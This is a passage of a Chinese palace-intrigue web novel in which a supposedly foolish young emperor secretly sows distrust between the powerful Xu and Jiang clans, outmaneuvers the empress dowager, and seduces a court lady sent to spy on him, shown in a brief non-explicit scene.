“丞相大人,秦王真的在雍州造反了?” 步履急促,面容带着些许惶恐,一副受惊不轻的模样。 徐敬意眯眼盯着郑遂,一言不发。 比起秦王之乱,他更想知道这个小皇帝怎么忽然有这般手腕。 面对压迫感十足的徐敬意,郑遂根本不敢与之对视,双手局促的不知道往哪放,一副做了什么坏事被家长审问的姿态。 徐敬意看了许久,才收回目光,心中已经有了答案。 如此不堪,没有半分帝王之气,这件事必然不是小皇帝自己的主意,恐怕是背后有人教他。 至于是谁,其实也不难猜。 如果是先帝的后手,不会等到现在,起码不会让那群老臣心寒。 那肯定就是徐家的盟友在背后捣乱,想扶持小皇帝给他添堵,尝试把水搅浑。 徐敬意所代表的利益集团也不是铁板一块,谁不想多吃两口好处? 但他不知道,这就是郑遂的目的! 郑遂装模作样也是没办法,徐敬意可不像徐妙晴那么好糊弄。 现在郑遂要是运筹帷幄的给徐敬意出谋划策,中午就得忽然落湖,晚上就暴毙身亡了。 “秦王确实造反了,不知陛下有何看法?” 面对徐敬意的发问,郑遂装作大喜的模样。 “爱卿,朕还真有个好主意,明日早朝,朕宣布秦王是谋逆之贼,把他打成叛军,这样朝廷出兵打他就合理了,怎么样?” 眼看郑遂一副背了个好答案,期待徐敬意夸奖的模样,徐敬意的警惕逐渐放下。 确实是他想多了,小皇帝还是那个蠢货。 “陛下果真雄才大略,微臣佩服。” 听到徐敬意的夸奖,郑遂一副想忍笑又忍不住的滑稽模样,嘴角都快翘上天了,于是迫不及待的继续卖弄道。 “爱卿,还有呢,这次调动军队的钱粮可以让地方出,谁不出就是心向逆贼!” “这样一来,朝廷可以省下一大笔钱银!” 这次镇压秦王叛乱是共识,但郑遂不打算用国库的钱,国库的钱早晚都是他的,但地方的钱粮可就是那群地方门阀的。 能花别人的钱,办自己的事,何乐而不为? 白给不要,大逆不道啊! 徐敬意也眼前一亮,不管小皇帝背后是谁,这个计策确实很好。 连消带打,不仅镇压秦王,威慑其他诸侯,还不用出朝廷的钱。 没错,徐敬意也不想花国库的钱,因为他也觉得国库的钱算他的。 因为按照这个趋势,他登基只是时间问题,到时候国库的不就是他的? 一时间,徐敬意都生出了爱才之心,如果这计策是哪个谋士提出,那一定要拉拢到手。 这等格局和眼光,真正的谋国之士啊! 郑遂忽然问道。 “爱卿,朕这个计策怎么样?” 徐敬意丝毫不吝夸奖。 “陛下此等手腕,有先帝之风,微臣心中甚慰!” 郑遂也终于说出了自己的目的。 “爱卿,那……朕能不能出宫转转?朕在宫中真是憋坏了。” 第7章 祸水东引 郑遂耍猴一样逗徐敬意半天,目的就是为了出宫,只有出了皇宫,他才有机会接触到其他势力。 徐敬意皱起眉头,出宫?小皇帝要做什么? 不对,郑遂出宫是要见谁,难不成就是为了出去玩? 小皇帝这个性子,想出去玩确实有可能,但他肯定也要趁机见一些人,比如这次谋划的幕后之人。 这次谋划的人,徐敬意也想知道是谁,只要看好小皇帝,就能把他钓出来。 一念至此,徐敬意笑道。 “陛下既然想出宫散心,当然是可以的,但为了安全起见,护卫力量一定要带足。” 郑遂顿时用力点头,眼底是藏不住的惊喜。 这一幕让徐敬意更加确信,郑遂出宫大概是为了见人。 徐敬意走了,看着他大步离去的背影,郑遂终于收起傻笑,眯眼看着远方。 这次出宫,他不能见老臣,但是可以见一个徐敬意的人。 确切地说,是徐敬意阵营中的一个不稳定因素,都察院话事人,正二品左都御史,江家家主江如松。 而且这人是陇西门阀的领头人物,代表了陇西门阀的态度。 京都七路禁军,其中一路的主将就是江如松的兄弟,这是一股不可小视的力量。 虽然此人之前和徐敬意联手,架的先帝难受至极,是打击皇权的急先锋,但那是先帝还在的时候。 没有永恒的敌人,只有永恒的利益。 现实就是,江家在打击皇室的时候出了大力,但依旧是徐敬意势大。 如果大家利益均分,当然皆大欢喜,但那不可能,因为皇位只有一个! 郑遂现阶段目标只有一个,尽可能的分化京中势力,并且挑动他们打起来,那郑遂才有希望火中取栗。 他的基本盘是不会变的,一批忠于皇室的老臣。 但这些老臣的势力有,但不够大,想让他们做大,只有一个可能,把其他势力拆的更小! …… 江如松坐在后院的湖亭中,有一下没一下给金鱼喂食,总觉得自己的今天眼皮子直跳,他也知道秦王造反的事,但这事是徐敬意头疼,自己怎么会眼皮子跳? 江如松百思不得其解,直到自己的长子江塘兴奋地沿着阶梯冲进湖亭。 “爹,你猜我今天把谁带来了?” 江如松皱起眉头,冷声道。 “大呼小叫,成什么体统?” 江塘顿时老实的束手而立,等待老爹的训斥。 江如松今天没心情多废话,直言道。 “把谁带来了,你要是敢说是什么奇女子,你就给我跪在祠堂跪上三天三夜!” 上次江塘碰见一个青楼里卖艺不卖身的清倌,就算表明身份都没让对方自荐枕席,还扬言不当外室,起码也得入门当个二房。 这等风骨给江塘感动的稀里哗啦,回来哭着求江如松,说接这个有风骨的奇女子进府当二房。 当时江如松就眼前一黑,如果不是就这么一个儿子,江如松当场就打死他! 江塘似乎也想起了那顿好打,默默往后缩了缩,但像是又想起了什么,赶忙道。 “爹,这次可是重要人物,我在大街上碰见陛下了!” “陛下和我一见如故,我们相谈甚欢,陛下还说仰慕您的英姿,想入府见见您,我就把他带进来了!” “爹,您真了不起,连陛下都仰慕您啊!” 江如松震惊的抬起头,手里的鱼食都掉了,我说怎么眼皮子一直跳,在这等我呢?! 他在官场沉浮二十年,地方和中央之间三进三出,如今位极人臣,更是作为陇西门阀的话事人,代表整个陇西势力。 他不说多英明神武,那也算个封建时代顶级精英吧? 那他江如松怎么会生出这种蠢货! 小皇帝说想见我,你就把他带进来了? 他是什么目的?为什么能出宫?出宫了直奔江家,徐敬意会怎么看? 再怎么说,徐敬意如今势大,江如松不想跟他撕破脸,不然吃亏的是江家。 千言万语堵在胸口,江如松眼前一黑,险些掉进湖里。 江塘惊叫一声,上前扶住了差点被他气死的老父亲。 江如松看着儿子无知无觉的模样,还在问他身体怎么了,说要去找太医,这让他心里五味杂陈。 算了,好歹还占个孝顺。 江如松直起身子,理了理衣袖,重新振作起来。 不过是个小皇帝,能有多大能耐,就算有什么小心思也不算什么。 就那个见了徐敬意恨不得跪下的废物,能有什么本事算计江家? 想到这里,江如松沉声道。 “去吧,把陛下带来。” 不多时,郑遂就亲眼看到了这位大人物。 江如松没有客套,连寒暄两句都没有,开门见山道。 “陛下是如何出宫的?” 郑遂笑道。 “秦王叛乱,朕给徐爱卿出了两个主意,第一是说,朕明日早朝的时候,亲自下旨把秦王定为叛逆。” “第二就是,如果要调动边军,那沿途钱粮就让地方来出,不出的就是和逆党一心!” 江如松眼前一亮,作为能在朝廷里排上号的高官,他一眼就看出了这两策的妙处。 他的眉头又很快皱了起来,直白道。 “陛下,臣不是不信您有这个出谋划策的能力,问题是,真这么说了,徐敬意会放您出宫?” 你前脚说完这两个计策,后脚徐敬意就能把你扔进湖里淹死! 郑遂点头:“徐爱卿不信是朕出的主意,所以让朕出宫了,出宫看看到底是谁出的这般辅国之策。” 江如松下意识点头,对嘛,这才说得过去……等会,你什么意思? 他豁然抬头直视郑遂,面色以肉眼可见的速度变的苍白。 驱虎吞狼,祸水东引! 小皇帝要拉江家下水! 这个计策如果是江如松亲自去说,那没问题,徐敬意会记他一功。 但从小皇帝嘴里说出来,那可就不一样了。 你别管计策到底是谁的,反正现在徐敬意不觉得是小皇帝给的,那只能是他背后的人。 一出宫直奔江家,那小皇帝背后的人是谁啊?好难猜啊! 你江如松自己有良策,不自己说,而是教唆小皇帝,你想干什么? 你是想拉拢皇室剩下的一批老臣吗? 这是出的良策吗?这是对徐敬意的挑衅! 这件事江如松如果没处理好,那他就是郑遂的替死鬼! 第8章 你怎能如此愚蠢 他江家与徐家表面和谐,实际上却关系微妙。 郑遂这波上眼药,可谓如一击重拳,直接打在了江如松的任督二脉上。 江如松险些气的晕过去,身子摇晃了两下。 那郑遂却像是个没事人似的,上前一步,大力扶住了江如松的肩膀。 “江爱卿这是怎么了?若身子不舒服,朕可为你叫太医来诊治。” 冷汗哗哗的从江如松的额上落下来。 他眼睛一眨不眨的看着郑遂,只觉得他这副皮囊里头似乎换了人。 莫非他从前一直都是扮猪吃虎、外愚内智? 不、不可能…… 小皇帝是个什么样的人,他还能不知道吗? 那便只能是背后有高人指点了。 他把这话说与自己和徐敬意两人听,其目的就是为了挑拨离间。 事实证明他成功了。 莫说他今日是否进门,便是只在江府门口转上那么一圈,他们江家与徐家之间微妙的关系都会更加雪上加霜。 江如松强忍怒意,故作镇定道:“陛下多虑了,臣没有不舒服的地方。且丞相府里的那个府医便足够了,实在是不必陛下麻烦太医过来一趟。” 郑遂在心里轻嗤一声。 都这个节骨眼上了,他不会还以为,只需与徐敬意毫升说上一番,徐敬意就能当做什么事都没发生过吧。 “既然是江爱卿用惯了的大夫,朕也不好勉强插手。” 郑遂淡淡一笑,目光忽然变得深邃起来。 “只是朕的深意,江爱卿可知晓?” 江如松一愣,他不装了? 郑遂勾起唇角,未等江如松发话,又先一步开口道:“这种体面,可并非是谁都能有的,江爱卿要懂得惜福才是。” 他这话可谓是明晃晃的告诉江如松,背后指点他的那个人,如今很看重自己。 可面对着曾经窝窝囊囊,如今却显得极为奸诈狡猾的郑遂,江如松可万万不敢轻信他的话。 “陛下以为,微臣不会将此事告诉给丞相大人吗?” 既如此,江如松也不装了。 郑遂却十分淡然,只回了短短三个字:“你不会。” 同样都是大齐的豪门世家,便是无法比肩,但上下也差不了太多。 这姓江的老贼哪里会甘心自己曾经做臣子,曾经的同僚青云直上,他们全家却还俯首称臣呢? 江如松心中骇然。 这幕后这人连这些弯弯绕绕都可看得出来,足以见得其厉害。 只怕这会儿拒绝,莫说是其他势力来收拾他,就是那徐家,也断然不会放过他们。 郑遂见江如松有所松动,便立刻又加了一剂猛药。 “江爱卿为国效力了一辈子,可若日后人走茶凉,岂不叫人觉得惋惜。” 郑遂的目光若有无的往江塘那边看了一下。 这老贼身子一僵,果真是被拿捏住了软肋。 便是心中有疑,此时也不得不先放一放。 “只是……”江如松犹豫着开口,“如今天下局势多变,秦王又举兵造反。并非是臣不肯惜福,但如今臣只想保全自身。” 都是千年的狐狸,玩什么聊斋? 郑遂就是用脚趾头都能想得出来这姓江的心里在思量着什么。 无非是没有见真章,再加之又轻易不敢和徐敬意翻脸,便百般推诿。 其实目的,不过是为了能有点肉眼可见的好处做佐证罢了。 “江爱卿过于自谦了。”郑遂笑道,“如同爱卿这般有魄力的人,自是不应当只居于如今的位置上的,爱卿定能等到那一天。” 郑遂的话点到为止,背手潇洒离开。 江如松面色沉沉的凝视着郑遂离开的方向,心里头越发的七上八下起来。 郑遂回了宫去,却没有第一时间回乾清宫,而是转头就奔了徐妙晴处。 “你怎敢去见江如松的老贼?” 徐妙晴听了郑遂讲完前因后果,当即气的拍案而起。 “如今大局未定,你便敢拉拢这些豪绅世家,简直是愚蠢至极!” 要知道,徐妙晴虽想位列女帝,但也不敢这么早的就和徐敬意闹翻。 那徐家人可多半都是听徐敬意的,且不说自己想借徐家的势力为自己争权,便是王后真的当了女帝,朝中也总该有一些自家的很听话的人才是。 否则即便是一朝称帝,又有什么用? 来日不还是要拱手他人! 眼见着徐妙晴娇美的面容上爬满了怒意,郑遂心中不禁冷笑。 这女人有野心,却没那么多脑子。 她简直是既要也要,还不如明日上朝之时自己干脆颁布一道圣旨,直接禅位于她算了。 “母后息怒。”郑遂搬出他那一副窝囊样来,畏畏缩缩的说道。 徐妙晴愤怒的甩袖:“你半出此等蠢出生天的事来,还想让我息怒?” 郑遂拱手道:“母后误会儿臣了,既然母后想登基称帝,那自是不能只靠一家的支持。要知道如今秦王起兵造反,其他藩王必然也虎视眈眈。” “这还用你说?”许妙晴不耐烦地瞪了郑遂一眼,“你且说你到底是什么心思,不必说这些废话。” 郑遂微微颔首,愈发的毕恭毕敬。 “母后登基必得名正言顺,这所谓的名正言顺,便是朝臣的支持。但若朝臣们的三言两语就管用,那我郑氏何必要走到如今这般地步?” 郑遂唇角露出一抹恰到好处的苦笑,徐妙晴疑惑的看向他,神色倒是正了正。 郑遂见状掺热打铁,更为仔细的与徐妙晴分析起了这其中的利弊。 “想要坐稳皇位,必得有权有势。那些文官老臣虽在嘴皮子功夫上有点本事,但实则真正的权力都把握在世家手中。因而与世家交好,就是必走的一条路了。” 徐妙晴若有所思。 郑遂所言,并非绝无道理。 若不一点点渗透,待到来日功成之时,只怕也得花上不少心思。 而世间万事都有个宜疏不宜堵的道理,安抚总比镇压强。 有了他们的扶持,日后登帝之路不仅可以更加顺利,更能让她稳坐帝位。 但徐妙晴仍有疑惑:“可你这番冒失举动,就算是把徐家给得罪透了。” 第9章 谁有权利谁就是正统 徐敬意不高兴,那就代表着整个徐家都不高兴。 他们能从中讨到好果子吃? 再者,徐敬意向来傲气,目中无人。 他怎会相信,郑遂当着他面说的那些话是郑遂自己的主意? 徐敬意必然会怀疑这幕后之人究竟是谁。 眼下有用的时候,自是千好万好。可若用完了,就必得一脚甩开。 主意虽不是徐妙晴给郑遂出的,但眼下自己的确是他背后的那个人。 只怕查来查去,查到自己头上来,那可就大事不妙了。 “母后何必忧心?便是到时徐敬意反应过来,追究出个结果来,徐家旁人也不会任由徐敬意对您下手的。” 徐妙晴显然不信,嘲讽的笑了起来。 “你竟比我这个亲妹妹都要了解他?” 徐妙晴慵懒地往贵妃榻上靠了靠,对着郑遂挑起眉梢。 “我不了解徐敬意,但即便我不是帝王之才,可皇宫也是一个大家。一个家族里,明争暗斗的事,便是我再愚蠢也略知一二。” 皇室也好,世家也罢,无非都是谁有能力谁说话。 能力略逊者,便只能做个辅助的角色。 但人总有两颗心,一颗贪心,一颗不甘心。 且人都是自大的,谁又会承认自己能力不足呢? 总归会把这些事归咎于其他理由而引起的,那么只要有机会,他们便会拼了命的往上爬。 “母后觉得,徐家人都是真心实意顺从徐敬意的吗?”郑遂反问。 徐妙晴沉默了。 哪怕是从她个人的角度来讲,并不觉得徐敬意是什么无可代替的人。 他无非就是占了个嫡出的身份,以及外祖家当年的势力,才在朝堂里家族之中有了这么一席之地。 可那些庶兄弟堂兄弟,表面的确听他的没错,实际上是什么心思,只有他们自己心里最清楚。 郑遂的语气变得越发低沉起来:“唯有将这潭水搅浑了,让他们觉得有一天不靠徐敬意也有路可走,这徐家的势力自然而然的也就瓦解了。” 徐妙晴陷入了沉思之中。 如今徐家最大的问题正如郑遂所言,表面上都顺服于徐敬意,心里却不服,但若是真让他们做些什么,却也没有那么好的机会,更没有那么大的能力。 但若这个机会是自己提供给他们的,那可就…… 而这件事,借着江如松的手去办,离间徐家内部关系,的确是最稳妥不过。 “如此说来,倒是我多虑了。”徐妙晴微微颔首。 “但是……” 她忽然话锋一转,缓缓从贵妃榻上起身,走到郑遂面前。 “若这些人也同徐敬意一般贼心不死,他日我若想登基今日之举,岂不是白白给自己找了麻烦?” “自然不会。”郑遂摇头。 “母后可知,为何我郑氏乃大气正统,如今却气运将尽?” 徐妙晴不解的望向郑遂。 郑遂神秘一笑,压低声音凑近徐妙晴耳边。 “谁手握大权,谁才是真正的正统。” …… 回到乾清宫后,郑遂就发现这偌大的宫殿比之前更冷清了。 其实自从老皇帝死后,便没人把他这个新登基的君主放在眼里了。 就连伺候自己的那些下人也是东跑西散,各自寻出路去了,偶尔人多,也不过是装装样子。 唯独剩下两个自小贴身伺候的太监,忠心耿耿,不肯离开。 也正是因为身边人少,所以多一个少一个都显得那么突兀。 “徐尚宫呢?” 贴身太监王喜不由得心生疑惑,这徐妍好不容易走了,怎么陛下还主动问起来了? “回陛下,徐尚宫回尚宫局了。” “哦?”郑遂挑了挑眉,“那便去传话,就说朕身体不适,需要徐尚宫来贴身伺候。” 王喜一愣,心下还以为郑遂是疯了。 这徐妍明晃晃的就是来监视的,主动走了,难道不好吗? “你去就是。”郑遂下令。 王喜不敢耽搁,立刻转身,匆匆而去。 郑遂坐在龙椅之上,嘴角露出个意味深长的笑来。 这么大个监视器待在自己身边,郑遂自然不舒服。 可偏巧,他现在还就需要徐妍这个摄像头。 “尚宫大人,您快着些吧,陛下当真身体不适,还需要您来拿主意呢。” 徐妍已走到了乾清宫门口,看着里头已然昏暗下来的大殿,徐妍脚步犹豫的驻足在了门边。 她是不相信白日里还活蹦乱跳的一个人,到了晚上突然就病倒。 尤其是这让自己贴身伺候的事,就更是显得郑遂心怀不轨了。 还说什么叫她拿主意? 那皇帝心思最深,哪里用得着她拿主意。 想着白日里发生的事,徐妍的面上不由得浮现出两坨绯红。 王喜再次催促:“尚宫大人,陛下还在里头等着您呢。” 徐妍深吸一口气:“即使身体不适,宣太医就好,何故叫我来?” 王喜面上堆出个尴尬的笑容:“可如今陛下身边,得力人手甚少。我们这两个贴身照顾陛下的又粗手笨脚,实在是……” 这回尴尬的人轮到徐妍了。 郑遂如今在这宫中形同透明人,若非留着他还有用,只怕早由他自生自灭。 身边无人照顾,不也是徐家做下来的孽吗? 王喜见徐妍有所犹豫,便立刻道:“尚宫大人,若是您再晚一些,陛下有个三长两短的,只怕你也不好交代不是?” 王喜瞧的出来,徐妍这个年岁的姑娘大事上根本就撑不起来。 无非是顶着个尚宫的名头,才能在这宫中稍许得脸一些。 既然能耐是假装出来的,便也很容易戳破他这伪装。 不过这话落在徐妍的耳朵里,却是变成了另外一番滋味儿。 万一这郑遂真的病倒了,出点什么事,徐家断然不会放过自己,徐妙晴更是会第一时间就把她给生吞活剥了,谁让郑遂当着徐妙晴的面就把自己给卖了呢? 就算他没出事,可他诡计多端的,宣扬出去自己更是没有好果子吃。 今日这局,徐妍就是想进也得进,不想进把她抬着也得进。 无奈,徐妍深吸一口气,踏入了乾清宫中。 刚一进门,徐妍就愣住了。 第10章 她逃不掉了 从外头看,乾清宫的灯火已熄了大半。 可进了门,才发现这里头别有洞天。 红烛摇曳,不知何时还挂上了不少帷幔。 微风吹过,帷幔摇摇晃晃。 就算徐妍未经人事,可瞧上一眼也知道郑遂这般,不知是为着什么。 忍不住在心里暗骂,这郑遂果真是沉迷于女色久了,对女人的心思简直是摸得一清二楚。 徐妍顶着一张已经红透了的脸,脚步往后退了退。 正思量着这会儿转头逃跑,来不来得及的时候,一只大手从昏暗中伸出来,托着徐妍的手腕将她拽进了一个温热的怀抱之中。 “真是想死我了……”郑遂低沉的声音在头顶响起。 他凑近徐妍的脖颈边,轻轻嗅了一下。 近乎叹息地说道:“好香啊……” 徐妍挣扎着,有些慌乱的道:“陛下请自重。” 她挣扎的力道,显然是比白日里轻了许多。 郑遂轻笑,更紧的将徐妍搂在怀中,修长的手指,熟练的探入衣襟。 “朕有的时候,真是恨你这个女人恨到咬牙切齿。”郑遂咬着徐妍的耳垂,轻声说道。 “可奈何你这滋味,倒是真让这流连忘返。” 徐妍双腿发软,鼻尖一股暗香飘过,她知道自己逃不过了…… 一室旖旎。 待徐妍再次睁开眼时,便看到郑遂躺在自己身边,手撑着头,侧目看着自己,嘴角挂着一抹餍足的笑。 这会儿已清理干净,穿着一身黑色里衣。 他倒是一派人五人六的模样,可徐妍身上却是未着寸缕。 又用那种目光直愣愣的打量着自己,徐妍心里又羞又恼。 连忙将被子往上拉了拉,躲闪着郑遂的目光。 “方才瞧你的样子,倒不及如今这般羞涩。”郑遂轻笑着道。 徐妍面色一僵,心里头的那点羞涩,顿时消失殆尽,只剩恼火了。 郑遂这话是在羞辱自己吗? 徐妍立刻翻过身去,想要爬下龙床。 可又忽然想到自己这一起身便会赤条条的暴露在郑遂面前,顿时不知该进还是该退,就这么卡在了那里。 郑遂在她身后发出一声轻笑,徐妍忍无可忍,拼着惹恼郑遂,回头瞪了他一眼。 郑遂却忽然伸出手,捏住徐妍纤细的手腕把她往自己身边一拽。 身上的丝绸被子顺着郑遂的力道滑下来,顿时一片春光乍泄。 徐妍手忙脚乱地想将自己遮掩住,却被郑遂压制的死死的,连遮羞的机会都没有。 当即心下更恼了:“陛下是想羞辱奴婢吗?” “回眸一笑百媚生,六宫粉黛无颜色。”郑遂忽然道。 徐妍愣住了。 郑遂凑近过来,眼眸深邃的望着徐妍。 “你出身于大家,自然知晓这句诗是什么意思。朕见过很多的女人,但能给朕留下如此深刻印象的,你是头一个。” 徐妍呆呆愣愣的看着郑遂,一时间竟半个字都吐不出来。 郑遂饶有兴致的盯着她。 自己这话说的半真半假,以徐妍的心性应该也不会完全相信。 但瞧着徐妍的样子,怎么忽然感觉好像还真的起到了点作用呢? 半晌,徐妍终于回过神来,别过头,躲开郑遂的目光。 “陛下别开玩笑了。” 可她磕磕巴巴的语气,却出卖了她心中的慌乱。 郑遂瞅准这个机会,又将徐妍拉了回来,大力的揉进怀里。 “待朕有一天功成,封你为皇后可好?” 徐妍难以置信的瞪大眼睛,下意识的开口说道:“陛下在开什么玩笑?” 她当然不会轻易相信郑遂的话,但当他在自己面前信誓旦旦的说出这些话来的时候,徐言还是莫名的感觉心跳漏掉了半拍。 郑遂也不指望徐妍会相信自己的承诺,不过他有的是手段对付徐妍。 当下勾唇一笑,言语间不禁带上了苦涩的意味。 “也是,朕算个什么东西啊?也敢肖想这些。” 徐妍有些不明所以的看着郑遂,异世界不敢轻易回话。 郑遂抬头深深的看了徐妍一眼:“未来的事太遥远了,也是没有定数的。朕只是在想,若能有离宫那一天,朕想带着你一起。” 徐妍藏在被子下的时候忍不住颤抖了一下。 就连他自己也说不出未来的事会朝何方向发展,甚至于现在的他而言,能够保全性命出功,过上普通的生活,都已经是奢望了。 可他…… 想要带自己一起吗? “明日把东西收拾一下,来朕身边贴身伺候吧。” 说完,郑遂转身下床,朝外边走去。 徐妍愣愣的坐在原地许久,才手忙脚乱的去捡自己散落满地的衣裳。 慌乱的披上,徐妍悄然走了上去。 透过窗纸,隐隐约约的能看见郑遂坐在大殿之上,正对着桌上原先装着玉玺,现在却成了个空盒子的锦霞发呆。 徐妍的心脏莫名的抽痛了一下,突然之间就觉得,这样的一个九五至尊,活着简直比死了还难受。 当真是有那么些可怜的…… 徐妍轻叹了口气,蹑手蹑脚的转身回去。 郑遂缓缓侧过头,看向门内那个逐渐消失的身影,嘴角勾起了一抹意味不明的笑。 次日,郑遂是被外边的喧嚣声吵醒。 唤来王喜一问才知,徐妍带着足足几大箱子的东西搬来了乾清宫。 “这个徐尚宫实在是太不像话了,就算是要照顾陛下,可也不必这么大张旗鼓。她这日子简直过得比陛下还要滋润!”王喜不满的抱怨到。 可郑遂却缓缓展开笑颜。 徐妍能如此大张旗鼓,反而是正对了郑遂的心思,这就代表着,徐妍现在心里有八成都是想和自己站在一条战线上的。 那距离彻底拿下她也就不远了。 郑遂换了一身常服,走出了乾清宫,正要唤徐妍过来,外边却传来太监尖着嗓子的一声叫喊。 “太后娘娘驾到!” 紧接着一个穿着鲜艳红衣的身影风风火火的跑了进来,冲到郑遂面前,二话不说,抬手就是一耳光。 啪—— 郑遂的脸被打偏了。 正在整理东西的徐妍猛地抬起头望向这边,见状竟下意识的抬脚冲了过来。 “太后娘娘这是做什么!” 第11章 他们的联盟并非坚不可摧 “你这般护着他做什么?”徐妙晴缓缓转过头,目光不善的盯着徐妍。 她怕不是忘了自己姓什么吧? 徐妍猛地一下清醒过来,怔愣的站在原地。 冷汗几乎是瞬间就爬满了徐妍的脊背,目光躲躲闪闪根本不敢直视徐妙晴锐利的视线。 徐敬意不是什么好东西,可都是徐家人,谁又能比谁强到哪里去呢? 只怕自己稍微再有些动作,徐妙晴会毫不犹豫的杀了她。 扑通—— 一声异响让两个女人皆是诧异的转过了头去,随后竟震惊的发现是郑遂重重的跪在了地上。 他头埋得极低,肩膀微微耸动着。 颤声道:“母后,请您饶恕徐尚宫!” 徐妍瞪大了眼睛。 他这时候说这话是什么意思? 是求情,还是要害死自己! 徐妙晴噗嗤一声笑了出来,上下打量了徐妍一眼,随后忽然上前。 “把头抬起来。” 郑遂颤颤巍巍的抬起头,视线还未触及到徐妙晴的脸,下巴就忽然被她狠狠捏在掌心。 染了蔻丹的尖锐指甲几乎刺进郑遂的皮肉里,一阵锐利的痛传来。 徐妍心中的纠结还未残存多久,就骤然转换成了焦急。 可她不敢贸然开口,只能在一旁看着。 “看来,你们两个之间关系不浅啊。”徐妙晴冷冷的声音在头顶响起。 徐妍的身子狠狠一颤,如在三九寒天里,忽然掉进了冰窟,又被人迎面泼了一盆冷水。 “母后恕罪……”郑遂艰难的开口,目光却是极为坚定的看着徐妙晴。 “而臣自知无能,也别无所求,只求……只求……” 郑遂眼神闪烁着,似乎有千言万语到了嘴边,却又不敢说一般。 徐妙晴凝视了郑遂一会儿,骤然间明白了他的意思。 忽得发出一阵尖锐的笑:“你看上她了?” 徐妍一怔,目光飞速瞟了郑遂一眼,而后又生怕被徐妙晴发现,匆忙收回。 心中却不由得泛起了嘀咕。 郑遂说那话,是为了护着自己? 徐妙晴忽然放开了前置着郑遂的手,坦然走向龙一边径直坐下。 这才开口:“我徐家适龄女子不少,不乏有身份尊贵在她之上呢的。” 徐妙晴冷飕飕的目光扫过徐妍,显然并未完全相信郑遂的话。 “倒不知我这侄女有什么能耐,竟入了陛下的眼。” 徐妙晴歪过头,视线饶有兴致的在他们两人之间打量着。 “而且算起来,皇帝的那些侍妾奴婢,想来个个姿色都在她之上吧。” 徐妍心里咯噔一下。 她不知郑遂说出维护自己的话时到底是揣着什么心思,但是很显然,他这话是糊弄不了徐妙晴的。 郑遂依旧跪在地上,缓缓转过身来。 拱手行了一礼:“回母后的话,儿臣……儿臣向来不愿见女人伤心……” 徐妙晴竟被逗得噗嗤一声笑了出来。 想不到这郑遂沉溺于美色,什么样的女人都见过,竟也会如此博爱。 可博爱亦是爱,身为帝王最不该有的就是这些。 难怪同样和老皇帝一样腹背受敌,他老子还能撑几十年之久,而他自打一上位起就是个不折不扣的废物。 “哀家懒得听你们这些污秽的事。”徐妙晴道,“哀家只问你,为何今日一早哀家就接到消息,徐家与郑家家主约定今晚与天香楼会见?” 徐妍听到前半句时,便不禁微微松了口气。 这说明徐妙晴是把郑遂的话给听进去了,不管他之后对这事会作何态度,但至少现在徐妍是安全的。 可是听到徐妙晴后边的那句话,徐妍的心却又径直悬到了嗓子眼。 她下意识的转头瞟了一眼郑遂。 小皇帝这般有本事,连徐妙晴如今都得听一听他说的话,怎得还能被徐妙晴怀疑到头上来? 而更让徐妍心乱如麻的是,现在除了疑惑和对自身安危的担忧以外,她竟然也害怕徐妙晴会的郑遂不利了。 这种会扰乱她心智的事儿显然是完全在徐妍的意料之外,明明想控制,可思绪确实时不时的被郑遂牵扯。 好在是徐妙晴现在紧紧盯着郑遂,没留意到徐妍脸上丰富的表情变换。 “为何不说话,是不敢吗?”徐妙晴冷声质问。 郑遂忽然缓缓支起身子,目光径直落在徐妙晴的脸上。 他如此明晃晃的直视,让徐妙晴不禁一愣。 有那么一瞬间,她竟感觉跪在自己面前的并不是那个唯唯诺诺的小皇帝,倒更像是随时都可以要了自己命的洪水猛兽。 但是那种感觉只在徐妙晴心头一闪而过,再次看向郑遂的时候,并没有发现什么异常。 这让徐妙晴不禁皱起了眉:“哑巴了?” “原来母后一大清早前来,就是为了质问而成这件事。”郑遂忽的叹了一口气。 徐妙晴的脸色满是不悦:“那你觉得哀家该问你什么?” 是谁口口声声恨不得拍着胸脯保证,这个计策一定可以离间他们两家之间的关系,还可以逐步瓦解徐家内部。 可是眼下外头传来的消息,那两家分明是好的很呢! “母后不会以为,两家家主在那种私密场合约见,便能显得他们之间的联盟坚不可摧吧?”郑遂这才开口道。 徐妙晴皱起眉,语气不善的反问:“不然呢?” 若两家真的开始互相怀疑,自然是该减少走动才是。 否则不这样互相防备着,万一叫对方将自家的机密探听过去该如何是好? 郑遂却忽然笑了起来,微微摇着头。 “母后此言差矣。” 他看着徐妙晴,语气淡淡的道。 “正如母后如今对儿臣也并非完全信任,科目后不依旧是要与儿臣见面吗?” 骤然被人点破了心思,还是郑遂这种连自己的母国都守不住的废物,徐妙晴的脸色瞬间就变得极为难看了起来。 “你别当哀家是个女子便不懂政治!”徐妙晴恼羞成怒。 “他们是什么人,你又算个什么东西?你怕是太把自己当回事了。” 郑遂不恼,反而未得到徐妙晴的允准就站起身来,还得寸进尺的上前一步。 第12章 哀家不喜欢太聪明的 “可世间的事儿不大多都是万变不离其宗吗?”郑遂道。 “儿臣知道自己无能,出的这些雕虫小技,也不过是想为母后分忧罢了。但是儿臣以为,人与人之间往来向来都是这样的。便是最好的兄弟,有一天忽然发觉对方在算计自己,不大可能会第一时间便老死不相往来了。” 那些个性情直爽的,可能会见一面吵一架。 满肚子弯弯绕绕的,也会想尽办法的见个面,试探一下对方的心意再说。 便是人之间相处都是这般,就更别提是如此庞大的两个家族了。 “所以你的意思是他们现在是在互相试探?” “正是如此。”郑遂点头。 “如今他们各自心怀鬼胎,自然是要见一面,探一探对方的口风,这才能知道虚实。” 徐妙晴微微皱眉。 虽打心眼儿里的看不上郑遂,但是却也不得不承认,郑遂这番分析是有一定道理的。 看来是自己太过于心急了。 不过郑遂能对这些事分析的头头是道,倒是更让徐妙晴怀疑他别有用心。 “哀家如今倒是要事事都听你的指点了。”徐妙晴似笑非笑地说道。 徐妍的心扑通扑通的跳着,有些紧张的看向郑遂。 但凡长个脑子的人都能听得出来徐妙晴的言外之意。 不过也是,郑遂如今屡出奇招,徐妙晴心生疑惑也是极为正常的。 就看郑遂如何解决了。 郑遂再次跪在了地上,恭敬道:“母后毕竟初入皇宫,但儿臣却是在这宫中活了二十余年了,所见所闻字是比母后所知道的多一些。” 此言一出,徐妙晴猛然站起身来。 徐妍心中一颤,赶紧跪在了地上。 他这不是上赶着拱火吗? 郑遂难道就不害怕徐妙晴彻底不信任他,干脆又投回徐家的怀抱,即刻就加快速度送他上西天吗? 徐妙晴怒视着郑遂,双眼几乎要喷出火来。 “你敢嘲笑哀家?” 